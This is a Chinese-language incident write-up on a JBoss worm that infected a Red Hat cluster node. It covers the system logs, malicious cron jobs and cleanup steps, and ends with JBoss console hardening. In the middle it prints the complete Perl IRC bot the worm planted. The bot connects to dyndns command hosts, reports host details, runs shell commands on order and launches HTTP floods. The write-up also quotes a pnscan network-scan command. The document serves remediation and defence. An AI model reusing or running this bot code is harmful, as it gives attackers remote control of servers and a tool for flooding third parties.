JBoss漏洞导致服务器中毒，导致双机故障

故障现象:

RHCS双机无故自动关闭，用clustat查看双机状态时，提示cman无法连接。

执行service cman start，提示启动fencing失败.

查看系统日志，发现一个异常进程javas

Feb 19 07:25:22 xx1 last message repeated 9 times
Feb 19 07:56:50 xx1 kernel: printk: 64505 messages suppressed.
Feb 19 07:56:50 xx1 kernel: Neighbour table overflow.
Feb 19 07:56:50 xx1 last message repeated 9 times
Feb 19 09:14:43 xx1 kernel: printk: 64505 messages suppressed.
Feb 19 09:14:43 xx1 kernel: Neighbour table overflow.
Feb 19 09:14:43 xx1 last message repeated 9 times
Feb 19 10:39:57 xx1 kernel: javas[11690]: segfault at 00007ffffd881000 rip 0000003c4827c366 rsp 00007ffffd87ded8 error 4
Feb 19 10:40:25 xx1 openais[17282]: [TOTEM] entering GATHER state from 12. 
Feb 19 10:40:25 xx1 openais[17282]: [TOTEM] Creating commit token because I am the rep. 
Feb 19 10:40:25 xx1 openais[17282]: [TOTEM] Saving state aru b6 high seq received b6 
Feb 19 10:40:25 xx1 openais[17282]: [TOTEM] Storing new sequence id for ring 11c 
Feb 19 10:40:25 xx1 openais[17282]: [TOTEM] entering COMMIT state. 
Feb 19 10:40:35 xx1 openais[17282]: [TOTEM] The token was lost in the COMMIT state. 
Feb 19 10:40:35 xx1 openais[17282]: [TOTEM] entering GATHER state from 4. 
Feb 19 10:40:35 xx1 openais[17282]: [TOTEM] Creating commit token because I am the rep. 

经查找javas文件，发现javas就的root目录下，并且有两个java进程调用这个文件。

用crontab查看定时任务，发现有几个异常的任务:

1 1 10 * * ~/.sysdbs
1 1 24 * * perl ~/.sysync.pl
1 1 10 * * ~/.sysdbs
其中.sysync.pl的内容为：
#!/usr/bin/perl
use IO::Socket::INET;  
my $time=time();  
$time=~/(.*)\d\d\d\d/;  
$i=int($1)*2; 
my $processo = "/usr/share/apache/bin/httpsd";  
my $pid=fork;  
exit if $pid;  




$0="$processo"." "x16;   




my @sops =("localhost","iscvadimswallows.dyndns.biz","webstatzz.twilightparadox.com","westatzo.dyndns-remote.com","suyeifd.dyndns.info","killbilll.twilightparadox.com","myfivecents.dyndns-web.com","its".$i."s.dyndns.info","itsthe".$i."d.strangled.net","eventuallydown.dyndns.biz","localhosting.dyndns.info"); 




my $port=2020*4;  
my $chan="#jbs"; 




my $boxing = `uname -a`;  
$user = `whoami`;  
$boxing =~ s/\r//g;  
$boxing =~ s/\n//g; 
$boxing =~ s/ //g; 
$boxing =~ s/\s//g; 
$user =~ s/\r//g; 
$user =~ s/\n//g;  
$user =~ s/ //g; 
$user =~ s/\s//g;    




while(1) {
 retry:
 my $nick="efd[".int(rand(999999999))."]";
 close($sk);  
 my $server = "";  




 while(length($server)<10) { 
$server = $sops[int(rand(12))]; 
 }




 sleep(3); 




 my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry; 
 $sk->autoflush(1); 




 print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
 print $sk "NICK $nick\r\n";  print $sk "USER ".$user." 8 *  : ".$user."\r\n";  




 while($line = <$sk>)
 { 
$line =~ s/\r\n$//;




        if ($line=~ /^PING \:(.*)/)
{
print $sk "PONG :$1\r\n";
        }  




if($line =~ /welcome\sto/i)
{
sleep(2); 
print $sk "JOIN $chan\r\n"; 
sleep(1); 
print $sk "PRIVMSG $chan :UserName=$boxing\r\n"; 
}  




if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/)
{
$owner=$line;
      $de=$2; 

if($owner=~/iseee/gi)
{
@shell=`$de`; 
foreach $line (@shell) { 
sendsk($sk, "PRIVMSG iseee :$line\r\n"); 
sleep(1); 
} 
} 
} 








if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/)
{
$owner=$line; 
$url=$2; 
$mult=$3;




      if($owner=~/iseee/gi)
{
$url=~/http:\/\/(.*)\/(.*)/g;   




for($xz=0; $xz<=$mult; $xz++) {
system("curl ".$url.">/dev/null&");
      `curl "$url">/dev/null&`; 
system("wget ".$url.">/dev/null&"); 
`wget "$url">/dev/null&`; 
system("wget $url>/dev/null&"); 
      }
sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n"); 
}
}   




if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/)
{
$owner=$line; 
$url=$2; 
$ddata=$3; 

if($owner=~/iseee/gi)
{
$url=~/http:\/\/(.*)\/(.*)/g; 
$host=$1; 
$path=$2;  
      
my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80); 
print $sck   "POST /$path HTTP/1.0\r\n" . "Host: $host\r\n" . "Connection: close\r\n" . "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
      sleep(1); 
close($sck);   
 
sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
} 
}  
 } 




 }  




 sub sendsk()
 { 
if ($#_ == 1)
{
my $sk = $_[0]; 
print $sk "$_[1]\n"; 
} 
else
{ 
print $sk "$_[0]\n"; 
}
 }
经查找相关资料，发现这是一个利用JBOSS漏洞入侵系统的病毒。中毒后系统为多出几个java的进程，pns开头的进程.
sh -c ./pnscan -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6400 61.223.0.0/16 8080 > /tmp/sess_008802541
尤其是有pnscan这个进程，它会对外扫描整个网络，导致网络拥塞
/root/多出了好多文件，这些文件的owner为未知（比如为1000)：
a.tar.gz
bm.c
bm.h
bm.o
flu.pl
fly.pl
install-sh
ipsort
kisses/
kisses.tar.gz
kisses.tar.gz.1
linda.pl
lindb.pl
Makefile
pnscan
pnscan.c
pnscan.o
version.c
version.o

解决办法：
http://aws.amazon.com/security/security-bulletins/jboss-worm-spreading-via-unpatched-or-unsecured-jboss-application-server/


修改：
1. kill 掉多出来的进程，另外killall perl，kill -9 crond，service crond restart。
2. 删除crontab 里面多出来的条目。
3. 删除root下面多出来的文件。
4. 删除${JBOSS_HOME}/server/all(default,minimal)/deploy/management/iesvc.war和zecmd.war文件。
5. 删除/tmp下面
5. 修改jboss配置：
一、JMX安全设置：
# vi ${JBOSS_HOME}/server/all(default,minimal)/deploy/jmx-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
<!--
       <http-method>GET</http-method>
       <http-method>POST</http-method>
-->
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>
把GET和POST两行注释掉，同时security-constraint整个部分不要注释掉。


# vi ${JBOSS_HOME}/server/all(default,minimal)/deploy/jmx-console.war/WEB-INF/jboss-web.xml
<jboss-web>
   <!-- Uncomment the security-domain to enable security. You will
      need to edit the htmladaptor login configuration to setup the
      login modules used to authentication users.
   <-->
      <security-domain>java:/jaas/jmx-console</security-domain>
</jboss-web>
把security-domain注释去掉。


# vi ${JBOSS_HOME}/server/all(default,minimal)/conf/props/jmx-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=xxxxx
修改admin密码


二、WEB-CONSOLE安全设置：
# vi ${JBOSS_HOME}/server/all(default,minimal)/deploy/management/console-mgr.sar/web-console.war/WEB-INF/web.xml
   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console.
   -->
   <security-constraint>
   <web-resource-collection>
   <web-resource-name>HtmlAdaptor</web-resource-name>
   <description>An example security config that only allows users with the
   role JBossAdmin to access the HTML JMX console web application
   </description>
   <url-pattern>/*</url-pattern>
<!--
   <http-method>GET</http-method>
   <http-method>POST</http-method>
-->
   </web-resource-collection>
   <auth-constraint>
   <role-name>JBossAdmin</role-name>
   </auth-constraint>
   </security-constraint>
把GET和POST两行注释掉，同时security-constraint整个部分不要注释掉。


# vi ${JBOSS_HOME}/server/all(default,minimal)/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
   <!-- Uncomment the security-domain to enable security. You will
   need to edit the htmladaptor login configuration to setup the
   login modules used to authentication users.
   -->
   <security-domain>java:/jaas/web-console</security-domain>
把security-domain注释去掉。


# vi ${JBOSS_HOME}/server/all(default,minimal)/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes/web-console-users.properties
# A sample users.properties file for use with the UsersRolesLoginModule
admin=xxxxx
修改admin密码


最后启动jboss生效。

reboot system。

搞定。